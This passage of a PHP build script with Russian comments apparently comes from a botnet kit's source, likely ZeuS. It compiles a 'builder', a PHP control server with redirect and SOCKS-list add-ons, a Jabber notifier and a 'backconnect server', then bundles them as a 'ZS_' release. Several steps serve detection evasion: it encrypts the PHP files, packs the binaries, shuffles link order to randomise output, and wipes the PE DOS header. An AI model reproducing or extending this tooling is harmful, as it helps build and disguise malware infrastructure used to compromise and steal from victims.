//Копируем лицензию, если она сущеcтвует. copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key'); } if (configBool('manual')) { writeStep("BUILDING MANUAL"); copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html'); } if (platformEnabled('server', 'php')) { writeStep("BUILDING PHP SERVER"); if (!configBool('jabber_notifier')) { $commandLineOptions['server']['php']['exclude_files'][] = 'system\\jabberclass.php'; $commandLineOptions['server']['php']['exclude_files'][] = 'system\\reports_jn.*'; } buildBinary('server', 0, false, false); //Копируем гео-базу. copyFile($dir['geobase'] . '\\country[maxmind].txt', $dir['output']['server'] . '[php]\\install\\geobase.txt'); createSubDir($dir['source']['server'] . '[php]\\tmp'); //Копируем дополнения. createSubDir($dir['output']['other']); copyFile($dir['source']['other'] . '\\redir.php', $dir['output']['other'] . '\\redir.php'); copyFile($dir['source']['other'] . '\\sockslist.php', $dir['output']['other'] . '\\sockslist.php'); } if (configBool('bcserver_platforms')) { writeStep("BUILDING BACKCONNECT SERVER"); buildBinary('bcserver', 1, true, false); } if (configBool('builder_platforms') || configBool('bcserver_platforms') || platformEnabled('server', 'php')) { writeStep("CREATING DISTRIBUTED PACKAGE"); packDir(array($dir['output']['builder'], $dir['output']['server'] . '[php]', $dir['output']['server'], $dir['output']['other'], $dir['output'][0] . '\\manual_??.txt'), $dir['output'][0] . '\\ZS_' . BO_CLIENT_VERSION); } goodEnd();
function buildBinary($app, $crypt, $clearMz, $randBin) { $platforms = @explode(',', $GLOBALS['config'][$app . '_platforms']); if (!is_array($platforms) || count($platforms) == 0) { fatalError('Platforms not defined.'); } $r = 0; foreach ($platforms as $pf) { $pf = strtolower(trim($pf)); if (!isset($GLOBALS['commandLineOptions'][$app][$pf])) { fatalError('Platform "' . $pf . '" not supported.'); } $opts = $GLOBALS['commandLineOptions'][$app][$pf]; $dirTmp = $GLOBALS['dir']['temp'] . '\\' . $app . '\\' . $pf; $dirOutput = $GLOBALS['dir']['output'][$app]; $dirSource = $GLOBALS['dir']['source'][$app]; //Сборка PHP. if ($pf == 'php') { createSubDir($dirTmp); $dirSource .= '[php]'; $dirOutput .= '[php]'; $list = getDirList($dirSource, $opts['include_files'], false); if (count($list) == 0) { fatalError('Failed to find source files.'); } foreach ($list as $f) { if (!fileInList($opts['exclude_files'], $f = substr($f, strlen($dirSource) + 1))) { $allowPP = !fileInList($opts['exclude_pp_files'], $f); $fileSource = $dirSource . '\\' . $f; $fileOutput = $dirOutput . '\\' . $f; createSubDir(dirname($fileOutput)); if (fileInList($opts['php_files'], $f)) { $fileTmp = $dirTmp . '\\' . basename($f); evalPhpTemplate($fileSource, $fileTmp); if ($allowPP && $crypt > 0 && filesize($fileTmp) > 0) { writeLn("......encrypting - {$fileTmp} => {$fileOutput}"); passthru(replaceVarables(array('%OUTPUT%' => $fileOutput, '%SOURCE%' => $fileTmp), $GLOBALS['commandLine']['protect']['php']), $r); if ($r != 0) { die(1); } } else { copyFile($fileTmp, $fileOutput); } } else { copyFile($fileSource, $fileOutput); } } } } else { createSubDir($dirTmp); createSubDir($dirOutput); $listCpp = array('*.cpp', '*.c'); $listRc = array('*.rc'); $listObj = array('*.obj', '*.res', '*.o'); //Сборка objects. writeLn('[' . $pf . "] Compiling...\r\n"); $list = getDirList($dirSource, $listCpp, true); if (count($list) == 0) { fatalError('Failed to find source files.'); } if (!isset($opts['cpp_options'])) { fatalError('cpp_options no defined.'); } passthru(replaceVarables(array('%TEMP%' => $dirTmp, '%OPTIONS%' => $opts['cpp_options'], '%SOURCE%' => implode(' ', $list)), $GLOBALS['commandLine']['cpp'][$pf]), $r); if ($r != 0) { die(1); } writeLn(''); //Сборка ресурсов. $list = getDirList($dirSource, $listRc, false); if (count($list) != 0) { foreach ($list as $k => $v) { if (!isset($opts['res_options'])) { fatalError('res_options no defined.'); } passthru(replaceVarables(array('%OUTPUT%' => $dirTmp . '\\' . $k . '.res', '%OPTIONS%' => $opts['res_options'], '%SOURCE%' => $v), $GLOBALS['commandLine']['res'][$pf]), $r); if ($r != 0) { die(1); } writeLn(''); } } //Сборка bin writeLn('[' . $pf . "] Linking...\r\n"); $list = getDirList($dirTmp, $listObj, true); if (count($list) == 0) { fatalError('Failed to find object files.'); } if ($randBin) { shuffle($list); } if (!isset($opts['lnk_options'])) { fatalError('cpp_options no defined.'); } $fileBin = $dirOutput . '\\' . $opts['name']; $fileMap = $dirTmp . '\\' . $app . '.map'; $fileDef = $dirSource . '\\' . $app . '.def'; passthru(replaceVarables(array('%TEMP%' => $dirTmp, '%OPTIONS%' => (file_exists($fileDef) ? "/DEF:\"{$fileDef}\" " : "") . $opts['lnk_options'], '%MAPFILE%' => $fileMap, '%OUTPUT%' => $fileBin, '%SUBSYS%' => $opts['subsys'], '%SOURCE%' => implode(' ', $list)), $GLOBALS['commandLine']['link'][$pf]), $r); if ($r != 0) { die(1); } writeLn(''); //Вызов функции предварительной обработки. if ($crypt > 0) { $functionName = "{$app}BeforeCrypt"; if (@function_exists($functionName)) { call_user_func($functionName, $fileBin, $app, $pf); } } if ($crypt == 1 && isset($GLOBALS['commandLine']['pack'][$pf])) { writeLn("\r\n[" . $pf . "] Compressing...\r\n"); passthru(replaceVarables(array('%SOURCE%' => $dirOutput . '\\' . $opts['name']), $GLOBALS['commandLine']['pack'][$pf]), $r); if ($r != 0) { die(1); } writeLn(''); } if ($clearMz > 0) { writeLn('[' . $pf . "] Clearing DOS Header...\r\n"); if (($fc = @file_get_contents($fileBin)) === false || strlen($fc) < 1024 || count($v = unpack('L', substr($fc, 0x3c, 4))) !== 1 || $v[1] === 0) { fatalError('Failed to clear DOS Header in PE file "' . $fc . '".'); } $v = $v[1]; for ($i = 2; $i < 0x3c; $i++) { $fc[$i] = ""; } for ($i = 0x40; $i < $v; $i++) { $fc[$i] = ""; } writeFile($fileBin, $fc); } } } return $platforms; }